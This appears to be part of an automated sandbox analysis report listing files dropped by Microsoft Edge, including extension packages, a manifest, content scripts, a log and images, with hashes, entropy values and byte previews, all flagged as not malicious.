Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/76328978D5896FCD8546756F0BAD7D2B",.. "id": "76328978D5896FCD8546756F0BAD7D2B",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/76328978D5896FCD8546756F0BAD7D2B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/88745D59A52ED484C4F8160E61909956",.. "id": "88745D59A52ED484C4F8160E61909956",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/88745D59A52ED484C4F8160E61909956"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\0858a0df-a479-4c21-a1f9-5290f3451096.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\41a6dca2-ba71-4c51-8f63-6f169c685c99.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\4e416223-5ac6-4e4b-829e-91e4305fce14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\4fe5e1be-af0e-4f05-97ff-8210b0e67095.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\6140fc31-07da-4dfa-8a23-dfa5b4eb02d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154255
Entropy (8bit):	7.844315193710191
Encrypted:	false
SSDEEP:	3072:IH0Gn9mK7OlWbWd/4yjbZH/FZnUO5wYrfzeIX74kwjFMziwmNfxL15tUyH:IUG9mKqlzgyjbZH/jUyLXUkwjF971FUi
MD5:	240CD355E89EC1F3566BB2EF1F361DAD
SHA1:	2ADE60EB20F0FB16657A4FB024D207A931DC927F
SHA-256:	1F0388D23A4D8492E2F9839392B22A6957DEAE8750B60FF860EE939811594295
SHA-512:	961FE2017949D185761D8491AB4F7F2EC3B0562CFB6FEF202C34D685A87F2EA032F53D653E4C1D492DFF1FB43D738E7727985738C1A956A1A18AAE77A3D7F3B6
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........gE5.B1_+.)l\....n.sj.n.-.su....kM.`..w..k..u.L..G_9a ..=H..Ag.i.a. .&f!t....s. ............Fy.Cu..a9.C........f7...CW.e._.Zy.W.t.`z.B....k....\|$......G.PI/x]_...L.j..<at...%w.....K,y......s&.....%.4)p...........-2)/....P.....H.;m...}.CP..$E....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. $.I....D....h.n.8......y.\|.{5.!.!..@.9.E.o..x...=..}..<.......W".%............mo.:......\|F....\|{H0..S._....0-.ChC..h.....:.....R%Z....u/.....Y_...8./....>.).....OogU.......P.W.a...._..c,..RH}.......m#3..2.U=.O...~....2.H.O...F..Y.j..2....o..............6..?.........{........\|.^....1s..H..#.'.O..Q_....+."

C:\Users\user\AppData\Local\Temp\8a5c6f3b-8f63-4e75-8e64-81042590295a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\c60576cb-635b-4586-878c-0ea2a414e556.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1469078
Entropy (8bit):	7.993785946452121
Encrypted:	true
SSDEEP:	24576:16oeMje20MQ9S3YLz3+u4rD6hAP1obj0680Sm/edMh11pLvbSEixV:xnnY2u4rBP1q27WEMtlSEixV
MD5:	7B2797CEE65A0C13D3AC5969FB47432B
SHA1:	BF0568BA6D8F30F902F3F6483334DF6F477A34AF
SHA-256:	C741D6536A278B8D2DDCE4D248AA9F60A4F5F003C76803A578B4C03A90CCDA86
SHA-512:	938098CF1BB4FA361DBB201B0E575285DAFED2C21ABB5364D5D7D265A63BB7A05BD304305D43DA284F5E2DA89482C57C34644C0193D4278EB6023741EBB5BE9C
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......sRGB.........gAMA......a.....pHYs...%...%.IR$.....IDAThC].wt\...u.Z.......L..F.1%..;$. \ .$7.M.........y!....bc.E.-K.F..f.Q..e....[g....;k.?F.r.g...._I6.'...M.Kf.Jf8..p&..l..T.......!..T.........j....w?..7.....@.....n..~A..J...c._........A...........,y...#ZH1.Jrv...t..B.B.x3EK'3D.$......\.x6.B&.l:.T.l&O....r\.D sS0.C..!.7n`..3.....w3=7.....Uf:j.tW.....v....C.....v..y..._....1S..dO.....I.OS A...\.H"..B..\.T4K..'.).I.H.R...$2....C"S ....(..P.C6..(..#,.=.......O9x.-.X.e...~..F.......#~........>.....cv-{...[ulu[.j.j...'.?...7........?....P..Y..H..D..Df.$.Sd.9r...L...D.X6G.../. ..O.(d..MCd.N."............N....M.#..Rvh$.0.h..hu.h..4.+9./..TI.U.q..c..C..}V.{Lj.Xt.u.9p..._....E..g..6.}>r.c..,.)dH&.,.GY....d....l.H6O".#...d..9H.af.l8..W......z....u.`b...n......V.MV.>..V..V...ME.MI.]I.C.q........Uf....v#M.=GL:..5l.....zB.....oq.q/.3}......)R.$.h.d4G6......s.<..4.8..8D.....s..~...!m?}......V>.h......T;.x.....f-.F........'.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.405128540244541
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0Tt75b50oJL5M:JIVuwEw5MUFZLBQLtI5NM
MD5:	7E582143CE15ED13FB6F5EDCCBA37AF1
SHA1:	4D4CE5B36A0A3DCF8DF4AF20648FA5D6B531D511
SHA-256:	C2BE79C49174DF06F5039B4CB7DB48606EF6ACE5086A948401F931898DE65113
SHA-512:	A8B6364D7C74B66C139CBF6AB877E39FDF00A7E9F46E5BE37BC424D0B52D781E5352B037A9ACAF8268573F98B5AD5A29FAC55BA566A3C8BDFAE2DE3633B2BBB5
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\scoped_dir7496_174053136\4fe5e1be-af0e-4f05-97ff-8210b0e67095.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7496_174053136\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7496_174053136\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7496_174053136\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7496_174053136\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\6140fc31-07da-4dfa-8a23-dfa5b4eb02d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154255
Entropy (8bit):	7.844315193710191
Encrypted:	false
SSDEEP:	3072:IH0Gn9mK7OlWbWd/4yjbZH/FZnUO5wYrfzeIX74kwjFMziwmNfxL15tUyH:IUG9mKqlzgyjbZH/jUyLXUkwjF971FUi
MD5:	240CD355E89EC1F3566BB2EF1F361DAD
SHA1:	2ADE60EB20F0FB16657A4FB024D207A931DC927F
SHA-256:	1F0388D23A4D8492E2F9839392B22A6957DEAE8750B60FF860EE939811594295
SHA-512:	961FE2017949D185761D8491AB4F7F2EC3B0562CFB6FEF202C34D685A87F2EA032F53D653E4C1D492DFF1FB43D738E7727985738C1A956A1A18AAE77A3D7F3B6
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........gE5.B1_+.)l\....n.sj.n.-.su....kM.`..w..k..u.L..G_9a ..=H..Ag.i.a. .&f!t....s. ............Fy.Cu..a9.C........f7...CW.e._.Zy.W.t.`z.B....k....\|$......G.PI/x]_...L.j..<at...%w.....K,y......s&.....%.4)p...........-2)/....P.....H.;m...}.CP..$E....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. $.I....D....h.n.8......y.\|.{5.!.!..@.9.E.o..x...=..}..<.......W".%............mo.:......\|F....\|{H0..S._....0-.ChC..h.....:.....R%Z....u/.....Y_...8./....>.).....OogU.......P.W.a...._..c,..RH}.......m#3..2.U=.O...~....2.H.O...F..Y.j..2....o..............6..?.........{........\|.^....1s..H..#.'.O..Q_....+."

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

